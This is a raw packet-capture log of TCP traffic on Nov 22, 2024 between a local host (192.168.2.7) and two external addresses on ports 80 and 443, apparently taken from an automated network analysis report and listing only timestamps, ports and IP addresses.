Nov 22, 2024 01:02:50.378545046 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.379265070 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.379373074 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.379419088 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.380163908 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.380280972 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.380326986 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.381032944 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.381145954 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.381191969 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.381927013 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.381949902 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.382030010 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.382807970 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.382917881 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.382968903 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.383671045 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.383775949 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.383848906 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.384644032 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.384804010 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.384855032 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.385463953 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.385556936 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.385606050 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.386332035 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.386434078 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.386482954 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.387223005 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.387330055 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.387377977 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.388125896 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.388220072 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.388271093 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.388987064 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.389045954 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.389096022 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.389866114 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.389977932 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.390028954 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.390762091 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.390857935 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.390906096 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.391623020 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.391748905 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.391796112 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.392514944 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.392622948 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.392671108 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.393414021 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.393503904 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.393549919 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.394292116 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.394392014 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.394465923 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.395168066 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.395286083 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.395328045 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.396055937 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.396148920 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.396193027 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.396966934 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.397049904 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.397099018 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.397865057 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.397963047 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.398013115 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.398746014 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.398906946 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.398960114 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.399578094 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.399697065 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.399741888 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.400468111 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.400599957 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.400649071 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.401366949 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.401509047 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.401571035 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.402264118 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.402307987 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.402357101 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.403115988 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.403220892 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.403274059 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.404045105 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.404171944 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.404217958 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.404889107 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.405015945 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.405098915 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.405832052 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.405915022 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.405963898 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.406660080 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.406768084 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.406815052 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.407562971 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.407665968 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.407718897 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.408431053 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.408543110 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.408593893 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.409332037 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.409540892 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.409594059 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.410197973 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.410303116 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.410347939 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.411098957 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.411216974 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.411264896 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.411984921 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.412117004 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.412163019 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.412849903 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.412954092 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.412998915 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.413753033 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.413841963 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.413885117 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.414633989 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.414735079 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.414784908 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.415513992 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.415606022 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.415678024 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.416383028 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.416451931 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.416501045 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.417283058 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.417385101 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.417432070 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.418137074 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.446649075 CET	443	49782	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.446722031 CET	443	49782	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.446891069 CET	49782	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.447062969 CET	49782	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.447078943 CET	443	49782	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.447091103 CET	49782	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.447096109 CET	443	49782	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.450664043 CET	49787	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.450696945 CET	443	49787	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.450795889 CET	49787	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.450952053 CET	49787	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.450961113 CET	443	49787	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.472414017 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.486526966 CET	443	49783	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.486598969 CET	443	49783	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.486721992 CET	49783	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.487123966 CET	49783	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.487123966 CET	49783	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.487135887 CET	443	49783	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.487143040 CET	443	49783	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.490609884 CET	49788	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.490648985 CET	443	49788	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.490735054 CET	49788	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.490896940 CET	49788	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:50.490917921 CET	443	49788	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:50.563738108 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.563759089 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.563894987 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.563916922 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.564080954 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.564156055 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.564800024 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.564847946 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.564893961 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.565665960 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.565819025 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.565871000 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.566679955 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.566796064 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.566838026 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.567434072 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.567558050 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.567610025 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.568314075 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.568428040 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.568468094 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.569191933 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.569261074 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.569307089 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.570095062 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.570452929 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.570497990 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.570977926 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.571055889 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.571095943 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.572026014 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.572132111 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.572175026 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.572716951 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.572829962 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.572868109 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.573668957 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.573843002 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.573888063 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.574534893 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.574548960 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.574639082 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.575392962 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.575567007 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.575609922 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.576270103 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.576440096 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.576483011 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.577146053 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.577274084 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.577315092 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.578032017 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.578125954 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.578166008 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.578911066 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.579020023 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.579082966 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.579858065 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.579971075 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.580014944 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.580693007 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.580796003 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.580837011 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.581579924 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.581720114 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.581762075 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.582454920 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.582624912 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.582665920 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.583344936 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.583441019 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.583486080 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.584220886 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.584336996 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.584378958 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.585107088 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.585164070 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.585231066 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.585999966 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.586162090 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.586198092 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.586878061 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.586936951 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.586977005 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.587784052 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.587905884 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.587980986 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.588660002 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.588761091 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.588802099 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.589540958 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.589643955 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.589685917 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.590435982 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.590631962 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.590677023 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.591309071 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.591403961 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.591448069 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.592200994 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.592359066 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.592402935 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.593079090 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.593096972 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.593189955 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.593976974 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.594083071 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.594127893 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.594820976 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.594940901 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.594995975 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.595730066 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.595803976 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.595871925 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.596617937 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.596736908 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.596779108 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.597523928 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.597660065 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.597702026 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.598438025 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.598562956 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.598603010 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.599294901 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.599421978 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.599476099 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.600158930 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.600294113 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.600339890 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.601064920 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.601185083 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.601236105 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.601947069 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.602071047 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.602113962 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.602834940 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.602916956 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.602996111 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.603705883 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.603840113 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.603888988 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.604619980 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.604777098 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.604860067 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.605459929 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.605618000 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.605663061 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:50.606316090 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.606427908 CET	80	49773	185.215.113.16	192.168.2.7
Nov 22, 2024 01:02:50.606493950 CET	49773	80	192.168.2.7	185.215.113.16
Nov 22, 2024 01:02:51.759864092 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:51.760540962 CET	49784	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:51.760555983 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:51.760898113 CET	49784	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:51.760904074 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:51.764102936 CET	443	49785	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:51.764564037 CET	49785	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:51.764586926 CET	443	49785	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:51.764938116 CET	49785	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:51.764942884 CET	443	49785	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.104110956 CET	443	49786	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.104742050 CET	49786	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.104753017 CET	443	49786	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.105066061 CET	49786	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.105068922 CET	443	49786	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.204154015 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.204247952 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.204313040 CET	49784	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.204464912 CET	49784	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.204483032 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.204493999 CET	49784	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.204494953 CET	443	49788	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.204499006 CET	443	49784	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.205037117 CET	49788	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.205054045 CET	443	49788	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.205445051 CET	49788	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.205449104 CET	443	49788	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.207834005 CET	49789	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.207866907 CET	443	49789	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:52.207936049 CET	49789	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:52.208043098 CET	49789	443	192.168.2.7	13.107.246.63
